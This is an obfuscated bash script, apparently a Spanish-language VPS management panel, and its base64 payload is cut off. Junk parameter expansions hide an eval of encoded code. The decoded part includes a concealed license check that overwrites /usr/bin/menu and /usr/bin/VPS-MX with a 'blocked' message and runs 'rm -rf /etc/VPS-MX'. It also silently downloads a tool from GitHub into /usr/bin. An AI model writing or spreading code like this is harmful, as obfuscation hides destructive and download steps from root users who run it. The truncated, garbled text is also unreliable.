| 12 |
- #!/bin/bash
- ${!*} ${@//MNc.\`nPR} ${!*} "${@~~}" "${@}" ${@,} "${@~}" "${@^}" ${*//7749} "${@~}" ${*^} ${*##G=Ne} "${@//\[w\)fe\]pF/P|%@\]?6R}" ${*~} ${*##w9YG:Y} "${@//\}m%lK~Y}" "${@}" ${*%C$gyb} ${@%%>-Jz8w} ${@//rwYG\[/.h+C$XG} ${*//bL_vA*Q3/oXdpVv+\"} ${@//_7Dd} ${@%%5x\(\(q} "${@//O.,\"Ck}" ${@//7W0^\5} ${*,} ${@,} ${!@} ${@} ${@^} ${*%%m4Mi} ${!@} "${@%%5|\`7T\`a}" "${@//\"%^e}" ${@,} "${@~}" "${@/o6\"P\[\`~U/E0$rW}" ${*^} ${*##1iT\{} "${@}" "${@}" ${*/xk0F} ${*##PdU\[PVt2} "${@~~}" ${*,} ${*~} ${*~} ${*//~r~er\{WZ/,2uh=NL7} ${*//GuWhG\"t/JjOkR3} ${*/ogE9G.} "${@//SzG\",3/e8VWM}" ${@} ${@#weC\]F} ${@^^} ${*,,} ${*,,} ${!*} ${*,} ${*//=ASx7\(?T/w9SJR} "${@^^}" ${*~~} "${@##4a\}d}" ${*} ${@,,} ${*%%\)z*=} ${*~~} ${*#TN%G:RaF} ${*//HaMyH0W/wQTxd} ${@%%m1I8A} ${*~~} ${*/w,S9~J*/wIb_qi@} ${@^} ${*,} $@ ${*#eOE5} ${!@} ${*//%>l+N0vi} ${*##\"4vRx\\} "${@//wLodjR}" ${*//KlK\(V&} ${@~~} ${@##\)c#m} ${*%O=xnEK0} "${@^^}" ${*^^} "${@~~}" ${*,} ${@/62m-} ${@##h~c.;} "${@/5cAX8+}" ${@#9\{y.E\`j} "${@#RP:*ih}" ${@//DD\mdH} "${@%kb.N}" ${@/\]Pa.|} ${*##4eJ9} ${*^} "${@//5QFvQ/pGCSUBk}" "${@~}" ${*#\]mO7VC} ${@%bs\[\`$lCC} ${*^^} ${@/\]A+O3N+X} "${@##-h+x}" "${@/hG\[:?</50\{*\}}" ${*,} "${@%%M.KGdq*?}" "${@^}" ${*~} ${*,,} ${*,,} ${@} ${*%j:\"_vN&Y} ${*//@;i0U/oY\}\}-h,} ${*} ${*%%EuVdRQcr} ${@/8TEyG.} ${*%$\]9\{} ${*##9qd.$F} "e"v\a"l" "$( $* ${!@} ${*~} "${@,}" "${@#cdlrWc^}" ${*} "${@/qA8:KPeT/W\]Et}" ${@,,} ${@//4v?lo} "${@,}" ${*%l&|~Z} "${@##pDa\)\(}" ${@%%o\`qZqV\{} ${@~~} ${*~} ${*} ${@^^} ${@} ${*%EuxMr\"} ${@//?D\[*tK7a} "${@//m1:f6-\{/x$\{\)e;}" "${@^^}" ${@/P\`9a.1_M/H4\}@} "${@,,}" "${@//A^*ztc/<bYJ<hK}" "${@,}" "${@//fB_KlNnD/E+kK}" "${@}" ${*%%Zj9Q} ${*%%\_VR\(} ${*,,} ${!@} ${@,,} ${*/U\[\!P1Y1/?G2:gv3i} ${*/B65-dyJ} "${@//RzG=/\}&S08}" ${*/u=t>-} ${*%\`soheg} ${*%%KT5AR} ${*/&;7\)*/CsDTVt} ${@/cejD} ${*//&V\)S,XWc/+a4Nq} "${@~~}" ${@//jzJ\[} ${@} "${@##Zp,jy}" "${@,,}" ${*//\[ZRLr/g&i+$} "$@" ${*//<x_D#\"1/+y_yK\]} ${*} ${*//|\[zF;zKv} ${@} $* ${*~~} ${@%\!Zkeu} ${@~} ${*/ot\]BRK} ${*//J\"4\`NP:3/\)=QwTV8} ${@###\[.\{} ${!@} "${@%H1Rh}" ${@##Zx9Q?Z23} ${@^} "${@}" ${*/|55ir\[f/_Sb<N^r} ${*~~} "${@//\}:-lKo}" ${@/=^REeq7f/|*$9Dt} "${@##+aq=+.X}" ${@##W%V=ySMX} ${*##FWfaL3j} ${@%Z&Ef@} ${@%%4Du9} ${@%V\)v^2} ${!@} ${*^^} ${@//\!8J\`T\(A} ${@//\`<QG7-<} ${*,} "${@#9MpM}" ${*~~} ${*,} ${*^} ${*#47&0e0\`} ${*} ${*%%aX\(E} ${@//\]7\}>h/SyOkQ5?;} "${@,,}" ${@,,} ${*~} ${*//W~bFN\{&b} ${*} ${!*} "${@%%>0^|2x}" ${*~~} ${!@} ${*,} "${@,}" "${@~}" ${*^^} ${*~~} ${@/Yc;7} ${*#m\"KzQ} ${*~~} "${@##yIK~}" ${@~} ${*//N1<Wfw} ${@/64rz~9x/o$y7vZ\)&} ${*~} "${@//u3:6y}" ${@} ${@#xPS\!z^} "${@#gDyS}" ${@^} "${@}" ${*~~} ${!*} $* "${@/@\(>?yH\(U/4WCs9Q}" ${*//^v~Yi|q} ${*//\!CM<&nB} ${@%%^\]yqk\\} ${*/\!Mee} ${@,,} ${*~} ${*//_w\{TG+\]/?;<I} ${@/Apd1_} ${@^^} "${@#\mCq\]&}" ${@%I$pf&$R^} ${*~} "${@,,}" ${@//\],\}ka/Mz=T$L} ${@%1_aV%} $* ${*/\{n1u_H/ipr-} "${@~~}" "${@~~}" ${*%%byJ@8-} "${@^}" "${@~~}" "${@##-|X@8}" "$@" ${*/qbg,} "${@##\{y\[~}" "${@##C%bd\!p}" ${*,} ${*%%\},od} ${*%Kk8Emfdz} "${@%%p\{*<.+}" "${@//h3s=}" ${*} ${*/p1Ej\!k/4iBoN\(wc} $* ${*//xI>>>5G} ${*##8Vv7\)} ${@%\`%s5\);} ${*//#3\}MG,/5-D6GcI} ${*^} $* ${@%%,linS6N\`} ${!@} ${@%%I8z8t5} ${@##~7EVZz:} ${@//=wD;U\]\`E/SW77I:S2} "${@^^}" "${@#NSM6bq0}" ${*,,} ${@} "${@%%L@e&?;}" "${@%A>JmtSL}" ${*^} ${@^^} "${@%%0txzq#l}" "${@~~}" ${*%N\{~^0\!4w} ${*,,} ${*%%;cM*\}} ${*#>CAd9} ${*#D*KK} ${@~~} ${@} ${*//&E\}+iR\[} "$@" "${@##E\f3u>30}" ${*%%Yd\(@N\(I5} "${@}" ${*,,} ${*/VzrH=U} ${@%.y=q9C} ${*^} "${@/3cFd\]t/DR-+}" "${@#e%RF}" "${@~~}" ${*,,} ${@%%c@1X\]\]V.} "${@,,}" ${*^} ${*//Rdz6/mFDeoz\)Q} "${@%lLL5}" ${*//r%bNvx} "${@/7;=?/ds_*C\`xv}" "${@%%vME\[}" ${*//UxRL_\(/,ivt} ${*##\"\`.oW%l<} ${*/e0B<YH<} ${*%=X-wG=X} "${@,,}" ${*//20\}hy8*8/:\G2ncG} ${*##qdx%0\]\`,} ${@##EPvwr} ${@%%IYI6l2} ${*~} ${*/OYTL4z/h\)j>1X;} "${@##j22:qQP}" ${*#VqK:C\{} ${*~~} ${@#<0ZH\!E} "${@^}" ${*~} "${@~~}" ${*%%S1%\!} ${*//t=t\(L*/\)h=7#} ${@//uBbL} ${*//3TrT} "${@%ZAO6}" "${@%%I\"Fz}" ${*##A7lx;} ${@^^} ${*^} "${@^}" "$@" ${*,} ${@//#8c\"} ${@} ${*~} ${*/HRAuCi:x/5Yh\}} ${@//+r^B>/mF1S1iFe} ${*#urdt\`=} "${@~~}" ${*~~} ${@^} ${*~~} ${@##Xm@\]n>\(} ${@^^} "${@##pk,V0M;c}" ${@~~} "${@#B\,Q}" ${*//zU_w} ${*//=~0\Z/OTEZB~x~} "${@~}" ${*//\{?\[T\!p\)q} ${@##qdV4S-:} "${@//\!j1O-/f\]8~RBEl}" ${*/u3X1/+;*sq} ${*^^} ${@%W0t\]W>>a} ${@//f~e$yH/kbr6} ${*~~} "${@%G5d?%_%}" ${*^} ${*/.8^EmIu} ${!*} ${*^} "${@^^}" "${@%%Y1Zh.D}" ${*/=qeA?|5/\K2l:tU@} "${@//x.p*7/$\`\[30}" "${@%\)r8%ac^r}" ${@#&1j9l,|t} ${*^} ${!@} ${@^} "${@^}" ${@##NQXB\!M;} "${@/g&Wt/u\`Z\]\{Lo.}" ${@/5ar#CX7} "${@#-F$^J}" "${@,}" ${*#t\}j9?Pf} ${*##5jlGi} ${@%_G^#U4\[} ${@} ${*~~} ${*~} ${*,} ${*##AttS\!71l} "${@#pwqD\!}" ${*#dz6.q\{} $* ${*/HjRNK$l\)} "${@/\{9nh/a^1k@d}" "${@~}" "${@,,}" ${@%:s&WL} ${@,,} ${*^} "${@^^}" ${@/ef7\!Rr^/~vI0} ${*/3\{Q8ch/Mge\`K_@} "${@%C,,J}" ${*//G_\}DjB>t/u.3\[pdO\)} $* "${@,,}" ${*~} "$@" ${*%%tIX\"} ${*/S%fr/:m?,$Q9} ${@%%g+\)Lt} ${*#x4kC$t\]} ${*%%R#WB} ${*/\?%0/>lp,4#%f} "${@%%1>sKEN}" $* ${@//Bv@:?m4~} "${@^}" ${*^} ${*,} ${*,} ${*,,} ${*} ${*~} ${*#U1|y\`xBl} ${@/Q~TD_KE\}} ${*~} ${*,} ${@} ${*,} ${*^} ${*#z=fN~} ${*%Rpr:Ut0} ${*} ${@~~} ${*/O\(?;0t\`Z/N\)^slc} ${*%%-B*Qx} $@ "${@//l\)j4X}" ${*^} "${@%%FYdFb5K}" "${@}" $* ${!*} ${*//\(r;\I:/nfUhKe;F} ${*^^} ${@~} ${*/Zg5lo} "${@%%aBM.c}" ${@//^HDLqb\[/0_\}T$w} ${@##i^XbYc} ${!*} ${*//oaE\[&3bk} ${!@} "${@//@GWs\(}" ${@%l<\[d} ${*/;\[G9\"\{h/;okfs|} "$@" ${*/#\{Hk} ${@##eq4\`Fz} ${!@} $@ "${@,}" "${@^^}" ${*//KP\MD\`\!\[} ${@//#>9f\\} "${@##Wuw\D#W:}" ${@} ${@##\"mq;AP\)5} "${@,}" ${@##,QL5} ${*~~} $* ${*~~} ${*/\!\(0l$:\(/V\}z&Z+\{:} ${*^^} $* ${@~} ${*%%=ev5y\`bA} "${@~}" ${*/j$Q3} ${@#&\}\[x225} "${@%%M\"U;\)v}" ${@,,} ${*%%YEUm|s} ${!*} ${@%%d|6MCd\{} ${@~} ${*/UIna%} ${@%%&:\!I:\!} ${!@} ${!*} ${@//n\"YGK} ${*/%B~?A} ${!@} "${@%%sUW|}" ${*,,} ${*~} "${@/\`_8C|-Uz}" "${@//B3-+/2w0D}" ${@^} ${*%4e;y&} "${@##c5:K}" ${*~~} ${*^} "${@}" ${*##t.;Ycqbw} "${@%+KKoQd\}}" $@ ${!*} "${@~~}" ${@/=7JO0%E5} ${!@} ${*} ${*#ZS,\!Y} ${@#V4n_c:\+} ${*} "${@/Q|TSW/JE;gw|W\}}" ${*/I\\j\`Lh} "${@/#ArO%N\(}" ${@/yUh&\!} ${*#?WC1E>_9} ${*%yF2nIzNA} "${@^}" ${*/SRJd,\}} $@ ${*//Tf\`.Bb|x} "${@##$MFv_}" ${@,} ${*#s%\!%ru*} ${*^^} "${@}" ${*,} ${@,} ${*//VkXH%7|&/oS,+w} "${@#*3=M}" ${*,} "${@/=T~M;Y;}" ${*%zq@W$idd} ${@,,} ${*#\}%Y<} ${*/sDOZ\"+?m} ${@#e\(\[0} "${@//yvYN}" "${@~~}" ${*} ${*,,} ${@} ${*/43\[~@} "${@/\`1\)Qd}" ${*/4nl7tsC/n?%7Q} $* ${@#$ITS|} ${*%%q^B@\{.S5} $* ${*%%X\!_$T} ${*} "${@//\}J\{vRF/\{7insW}" "${@,,}" ${@//U0qr} ${@~~} "${@,,}" ${@} ${*~} ${!@} ${@/2&16/o%G_4~;} ${*,,} "${@^^}" "${@,}" ${*} ${@##C8mpH} ${*//fulvm7C\`/\!?b2@ZY} ${*^^} ${*//2=@ZA/;Y0hD} "${@/&&rbSF/kQJA}" ${*/Hr6p\!/DnA9h} ${*,} ${*^} "${@}" "${@~}" ${*^^} ${*#N#\{J\"SDE} ${@,} $@ ${*/4zak%N/xF4S#} ${*//#0S0} $* ${*^} "${@}" ${*/<jQ_3O|1/*<2D} "${@/.Ouw/+N|IjR+}" ${*%%uwI\[&O} ${*##WgPC>=o-} ${*%%jE|i} ${*##d\!cF=\]@} ${*#XYk0aJ7} "${@/~\!lOu/lKz\)}" ${*,} ${@,,} $* ${*~~} ${@%%~HJ=rw} ${*~~} ${@} ${!@} $@ ${@#e_S>XuZN} ${!@} ${*/t&HYt} ${@~~} ${*/\(o\!fn\]/q*,?Rey} ${*~~} ${@,} "${@//\{|\}n$I_}" "${@%X>\}*}" "${@/Or%ON\{/lZn2Rs}" ${*^} ${@/QH~OY} "$@" "${@^^}" "${@/yC0yv}" ${*//S\{qq*9l} "${@,}" ${*^} "${@//7Czl^+V/y?e.I\`AK}" ${*~~} ${*%ESfl} ${*/\"dQhpfv/PicLA\]d} ${*^^} ${*%%2BJwEA\`i} ${@^} "${@%%t+=PW}" ${@##b;3cF} ${*/%d0ihI} ${*} ${*,,} ${*/M^$\]y&} "$@" ${@} ${*~~} ${*%%=vW>WOr} ${*/cc@\)_G/YuAF9n+} ${*~} ${*%0vvG,V} $* ${*#Tb|C+\A\"} ${*/xtDA$I#/\)BTs#2} "${@}" ${*~} ${!*} ${@~} ${@,,} ${*,,} ${@//-Flv7} ${*%>$|#} ${*} ${*%%+Evc} ${*%KXZ^sr} ${*,} ${*//<41fyZ9} "${@,}" ${*~~} ${*/06SvfzL} ${!@} $@ "${@,,}" "${@%%25+SD5D~}" ${*%>\}~~=7tL} "${@^^}" ${@/0>a?9sa} "${@##t5I8VQ\}t}" ${*,} ${*~~} ${*/>6iV} ${@,} "${@/~\(9eaguI/C,\"\s^_}" ${*~} ${!@} ${@%^X+u42} ${*^} ${@,} ${*%QVT2X#J} ${*%%qKHq:N} ${*,} $* ${*/RIkv/U,mB6.W} ${@/wH5#} "${@#dyjEe8}" ${@#%o,GI} ${!*} $@ ${@//I6\)Y} "${@~~}" ${*##\(rXI} ${*,} ${*%QZD~J} ${*/\)EN&P/@jcapA} ${@//ex%\\} ${*//KU?EeL>/l02:*t} "${@//N\!i\]/62@.}" ${*,,} ${*#FkO=y} ${!*} ${*^} ${@^} $@ ${*,,} ${@^^} ${*//..\]Ht/OA:D7} ${*//SBS,&TI/7vkvz} "${@%REi+-J}" ${*##+WuxG\}qb} ${*~~} ${@} ${*^^} ${*,} ${*/FP=^} ${@^^} ${@#-OT_Fh6_} ${@,,} ${@##M2<e} ${*#fY>_F;} ${*} $* ${*^^} ${*,} "${@%%XKI3}" "${@%%~\`:\!+}" $@ "${@/Uh$NC%Sa}" ${*/\):&BM\!X/e3x1\!1} ${*,} ${*,} ${@%%WJYh} ${@%%t6\`V,} "${@,}" $* ${*^^} ${*//\!MI5#\\/NRJP} "${@/1+D\(/\(\]$\(dpX}" ${*%%p%-S=kdi} ${@%%qi9&Yd} "${@/J#aBrb<Z/;\!X|S3}" "${@##NU35%&#r}" "${@//pC8#}" "${@/,\!I:81b>/xc=XI}" ${*,,} ${*%%xSz\!K} ${*/zIn4\[} ${!@} ${*^^} ${*~~} ${@/&-&\\/MiA\(@?cb} ${@/>4\*Ki} "${@^}" ${*,,} ${@%%Xq;<Vwhh} ${*} ${@} ${*##DQhh\"7>E} ${*##YCDOvdWT} ${@~~} ${*/R8q7\\\{t} ${*} ${*/Dn\7;pm} "${@}" "${@##AHT+=}" ${*} ${*/<IkBnv;o} ${@^} $* ${@#B91h2A} ${@%YcHb6b\"} "${@^^}" ${@//*|y4/..P\)ebC} "${@#0iN~~kz}" ${*##KD\`n} ${*~} ${@/d2?Q/74AQ%7?g} ${*~~} $* ${*~~} ${*//_o$T3Lo} ${*#R:^M} ${*^} ${*/J\}\"\)<t%} "${@/g#~5/eG@b~}" ${*,,} ${*#*W\`zmA} "${@,}" ${*//\[W&z|\`/VTM#XE} ${!*} "${@##4-\`Wq\[GC}" ${*%%%mb>P} ${@~~} ${*/cYR\`u} ${@,} ${*%%MPi^} ${@/;1QZDd} ${@/L8|U} ${*} "${@~~}" "${@#la0e\(:9}" ${*/\)m*\!Ed/3%3Qvn} ${@//KMrt&X} "${@^}" "${@^^}" ${*~~} "${@^^}" "${@/w>%B}" ${*//\BTp%h} ${*//c47K\!w} ${*//8\[q\[\}} ${*^^} ${*%%DSd;G8} ${*,,} ${@~~} ${*^^} ${@//Lh\{H%} ${*//cc:\!U} ${@%-ElA} ${*~~} "${@,,}" ${*//iz\}SY\)a/;>W\"%g|d} ${@} ${*~} ${*^} ${*#j8\!82?WH} "${@/V\"fp3-X}" ${@%dj3\)cMn0} ${*//>FivZfd} ${*%%\[3ryX*%\]} ${@~} ${*,} ${*^^} ${@%L2@OmQm\`} "${@,,}" ${*,} ${@//9S-h0e/ye\)7J1} ${@^} ${*,,} ${*~} "${@/_#\]h2h/j.\}1}" ${*^} ${*^^} ${*} p${*##50V9D1wJ}r"${@}"i''"n"'t'${@##4@qB}f "ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQlbWyAhIC1kIC91c3IvbG9jYWwvaW5jbHVkZS9zbmFwcyBdXSAmJiBleGl0CmNsZWFyCmNsZWFyCmV4cG9ydCBQQVRIPS91c3IvbG9jYWwvc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL3NiaW46L3Vzci9iaW46L3NiaW46L2JpbjovdXNyL2dhbWVzLwojbXNnIC1iYXIKbXNnICgpIHsKI0FDVFVMSVpBRE9SCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQlbWyAhIC1kIC91c3IvbG9jYWwvbGliL3JtIF1dICYmIGV4aXQJCQkJCQkJCQkJCQkJCQpbWyAhIC1lIC9ldGMvdmVyc2luX3NjcmlwdCBdXSAmJiBlY2hvIDEgPiAvZXRjL3ZlcnNpbl9zY3JpcHQKdjExPSQoY2F0IC9ldGMvdmVyc2luX3NjcmlwdF9uZXcpIAp2MjI9JChjYXQgL2V0Yy92ZXJzaW5fc2NyaXB0KQpbWyAkdjExID0gJHYyMiBdXSAmJiB2ZXNhb1NDVD0iXDAzM1sxOzM3bVZlcnNpb24gXDAzM1sxOzMybSR2MjJcMDMzWzE7MzFtXSIgfHwgdmVzYW9TQ1Q9IlwwMzNbMTszMm1VUERBVEVcMDMzWzE7OTFtW1wwMzNbMTszMm0kdjExXDAzM1sxOzMxbV0iIAphdmlzb19ib2NrICgpIHsKZWNobyAnZWNobyAtZSAiXDAzM1sxOzkxbeKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlFxuICAgICAgIMKhU0NSSVBUIEJMT1FVRUFETyB8fCBSRVBPUlRFIEVTVEUgUFJPQkxFTUEgQ09OIFNVIFBST1ZFRE9SICEgXG7igJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJQiJyA+IC91c3IvYmluL21lbnUKZWNobyAnZWNobyAtZSAiXDAzM1sxOzkxbeKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlFxuICAgICAgIMKhU0NSSVBUIEJMT1FVRUFETyB8fCBSRVBPUlRFIEVTVEUgUFJPQkxFTUEgQ09OIFNVIFBST1ZFRE9SISBcbuKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlCInID4gL3Vzci9iaW4vVlBTLU1YCiBybSAtcmYgL2V0Yy9WUFMtTVggCn0KbG9jYWwgY29sb3JzPSIvZXRjL1ZQUy1NWC9jb2xvcnMiCmlmIFtbICEgLWUgJGNvbG9ycyBdXTsgdGhlbgpDT0xPUlswXT0nXDAzM1sxOzM3bScgI0JSQU49J1wwMzNbMTszN20nCkNPTE9SWzFdPSdcZVs5M20nICNWRVJNRUxITz0nXGVbMzFtJwpDT0xPUlsyXT0nXGVbMzJtJyAjVkVSREU9J1xlWzMybScKQ09MT1JbM109J1xlWzMxbScgI0FNQVJFTE89J1xlWzMzbScKQ09MT1JbNF09J1xlWzM0bScgI0FaVUw9J1xlWzM0bScKQ09MT1JbNV09J1xlWzk1bScgI01BR0VOVEE9J1xlWzM1bScKQ09MT1JbNl09J1wwMzNbMTs5N20nICNNQUc9J1wwMzNbMTszNm0nCkNPTE9SWzddPSdcMDMzWzM2bScgI01BRz0nXDAzM1szNm0nCmVsc2UKbG9jYWwgQ09MPTAKZm9yIG51bWJlciBpbiAkKGNhdCAkY29sb3JzKTsgZG8KY2FzZSAkbnVtYmVyIGluCjEpQ09MT1JbJENPTF09J1wwMzNbMTszN20nOzsKMilDT0xPUlskQ09MXT0nXGVbMzFtJzs7CjMpQ09MT1JbJENPTF09J1xlWzMybSc7Owo0KUNPTE9SWyRDT0xdPSdcZVszM20nOzsKNSlDT0xPUlskQ09MXT0nXGVbMzRtJzs7CjYpQ09MT1JbJENPTF09J1xlWzM1bSc7Owo3KUNPTE9SWyRDT0xdPSdcMDMzWzE7MzZtJzs7CjgpQ09MT1JbJENPTF09J1xlWzM2bSc7Owplc2FjCmxldCBDT0wrKwpkb25lCmZpCk5FR1JJVE89J1xlWzFtJwpTRU1DT1I9J1xlWzBtJwogY2FzZSAkMSBpbgogIC1uZSljb3I9IiR7Q09MT1JbMV19JHtORUdSSVRPfSIgJiYgZWNobyAtbmUgIiR7Y29yfSR7Mn0ke1NFTUNPUn0iOzsKICAtYW1hKWNvcj0iJHtDT0xPUlsxXX0ke05FR1JJVE99IiAmJiBlY2hvIC1lICIke2Nvcn0kezJ9JHtTRU1DT1J9Ijs7CiAgLXZlcm0pY29yPSIke0NPTE9SWzNdfSR7TkVHUklUT31bIV0gJHtDT0xPUlsxXX0iICYmIGVjaG8gLWUgIiR7Y29yfSR7Mn0ke1NFTUNPUn0iOzsKICAtdmVybTIpY29yPSIke0NPTE9SWzNdfSR7TkVHUklUT30iICYmIGVjaG8gLWUgIiR7Y29yfSR7Mn0ke1NFTUNPUn0iOzsKICAtYXp1KWNvcj0iJHtDT0xPUls2XX0ke05FR1JJVE99IiAmJiBlY2hvIC1lICIke2Nvcn0kezJ9JHtTRU1DT1J9Ijs7CiAgLWF6dWMpY29yPSIke0NPTE9SWzddfSR7TkVHUklUT30iICYmIGVjaG8gLWUgIiR7Y29yfSR7Mn0ke1NFTUNPUn0iOzsKICAtdmVyZCljb3I9IiR7Q09MT1JbMl19JHtORUdSSVRPfSIgJiYgZWNobyAtZSAiJHtjb3J9JHsyfSR7U0VNQ09SfSI7OwogIC1heiljb3I9IiR7Q09MT1JbNF19JHtORUdSSVRPfSIgJiYgZWNobyAtZSAiJHtjb3J9JHsyfSR7U0VNQ09SfSI7OwogIC1icmEpY29yPSIke0NPTE9SWzBdfSR7U0VNQ09SfSIgJiYgZWNobyAtZSAiJHtjb3J9JHsyfSR7U0VNQ09SfSI7OwogICItYmFyMiJ8Ii1iYXIiKWNvcj0iXGVbMTszMG3igJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJQiICYmIGVjaG8gLWUgIiR7U0VNQ09SfSR7Y29yfSR7U0VNQ09SfSI7OwogIC10aXQpZWNobyAtZSAiXGVbOTFt4omq4pSB4pSB4pSA4pSB4pSB4pSA4pSB4pSA4pSB4pSA4pSB4pSA4pSB4pSA4pSB4pSB4pSA4pSB4pSB4pSA4pSB4pSA4pSB4pSA4peI4pSA4pSB4pSB4pSA4pSB4pSA4pSB4pSA4pSB4pSA4pSB4pSB4pSA4pSB4pSA4pSB4pSB4pSA4pSB4pSA4pSB4pSB4pSA4pSB4omrICAgXGVbMG1cbiBcZVsyOzk3bVxlWzM7OTNtIOKdr+Kdr+Kdr+KdryDwnZmO8J2YvvCdmY3wnZmE8J2Zi/CdmY8g8J2ZiPCdmYrwnZi/IPCdmYfwnZi88J2YvvCdmLzwnZmO8J2ZhPCdmY/wnZi88J2ZiPCdmZMg4p2u4p2u4p2u4p2uICBcMDMzWzBtIFwwMzNbMTszMW1bXDAzM1sxOzMybSR2ZXNhb1NDVFxuXGVbOTFt4omq4pSB4pSB4pSA4pSB4pSA4pSB4pSB4pSB4pSA4pSB4pSA4pSB4pSA4pSB4pSA4pSB4pSA4pSB4pSB4pSA4pSB4pSA4pSB4pSA4peI4pSA4pSB4pSA4pSB4pSA4pSB4pSA4pSB4pSA4pSB4pSB4pSB4pSA4pSB4pSA4pSB4pSA4pSB4pSB4pSB4pSA4pSB4pSA4pSB4omrICAgXGVbMG0iICYmIGVjaG8gLWUgIiR7U0VNQ09SfSR7Y29yfSR7U0VNQ09SfSI7OwogIC1iYXIzKSAkKFtbICEgLWUgJChlY2hvIC1lICQoZWNobyAiMkY3NTczNzIyRjZDNkY2MzYxNkMyRjZDNjk2MjJGNzI2RCJ8IHNlZCAncy8uLi9cXHgmL2c7cy8kLyAvJykpIF1dICYmICQoIGF2aXNvX2JvY2sgPiAvZGV2L251bGwgMj4mMSkpICYmIGVjaG8gLWUgIiR7U0VNQ09SfSR7Y29yfSR7U0VNQ09SfSI7OwogZXNhYwp9CnNlbGVjdGlvbl9mdW4gKCkgewpsb2NhbCBzZWxlY3Rpb249Im51bGwiCmxvY2FsIHJhbmdlCmZvcigoaT0wOyBpPD0kMTsgaSsrKSk7IGRvIHJhbmdlWyRpXT0iJGkgIjsgZG9uZQp3aGlsZSBbWyAhICQoZWNobyAke3JhbmdlWypdfXxncmVwIC13ICIkc2VsZWN0aW9uIikgXV07IGRvCmVjaG8gLW5lICJcMDMzWzE7MzdtJChmdW5fdHJhbnMgIiDilrogU2VsZWNpb25lIHVuYSBPcGNpb24iKTogIiA+JjIKcmVhZCBzZWxlY3Rpb24KdHB1dCBjdXUxID4mMiAmJiB0cHV0IGRsMSA+JjIKZG9uZQplY2hvICRzZWxlY3Rpb24KfQoKZnVuX3RyYW5zICgpIHsgCmxvY2FsIHRleHRvCmxvY2FsIHJldG9ybm8KZGVjbGFyZSAtQSB0ZXh0bwpTQ1BpZGlvbWE9IiR7U0NQZGlyfS9pZGlvbWEiCltbICEgLWUgJHtTQ1BpZGlvbWF9IF1dICYmIHRvdWNoICR7U0NQaWRpb21hfQpsb2NhbCBMSU5HVUFHRT0kKGNhdCAke1NDUGlkaW9tYX0pCltbIC16ICRMSU5HVUFHRSBdXSAmJiBMSU5HVUFHRT1lcwpbWyAkTElOR1VBR0UgPSAiZXMiIF1dICYmIGVjaG8gIiRAIiAmJiByZXR1cm4KW1sgISAtZSAvdXNyL2Jpbi90cmFucyBdXSAmJiB3Z2V0IC1PIC91c3IvYmluL3RyYW5zIGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9zY3JpcHRzbXgvc2NyaXB0L21hc3Rlci9JbnN0YWxsL3RyYW5zICY+IC9kZXYvbnVsbApbWyAhIC1lIC9ldGMvVlBTLU1YL3RleHRvLW14IF1dICYmIHRvdWNoIC9ldGMvVlBTLU1YL3RleHRvLW14CnNvdXJjZSAvZXRjL1ZQUy1NWC90ZXh0by1teAppZiBbWyAteiAiJChlY2hvICR7dGV4dG9bJEBdfSkiIF1dOyB0aGVuCiNFTkdJTkVTPShhc3BlbGwgZ29vZ2xlIGRlZXBsIGJpbmcgc3BlbGwgaHVuc3BlbGwgYXBlcnRpdW0geWFuZGV4KQojTlVNPSIkKCgkUkFORE9NJSR7I0VOR0lORVNbQF19KSkiCnJldG9ybm89IiQoc291cmNlIHRyYW5zIC1lIGJpbmcgLWIgZXM6JHtMSU5HVUFHRX0gIiRAInxzZWQgLWUgJ3MvW15hLXowLTkgLV0vL2lnJyAyPi9kZXYvbnVsbCkiCmVjaG8gInRleHRvWyRAXT0nJHJldG9ybm8nIiAgPj4gL2V0Yy9WUFMtTVgvdGV4dG8tbXgKZWNobyAiJHJldG9ybm8iCmVsc2UKZWNobyAiJHt0ZXh0b1skQF19IgpmaQp9CgojbXlpcD1gaWZjb25maWcgfCBncmVwIC1FbyAnaW5ldCAoYWRkcjopPyhbMC05XSpcLil7M31bMC05XSonIHwgZ3JlcCAtRW8gJyhbMC05XSpcLil7M31bMC05XSonIHwgZ3Jl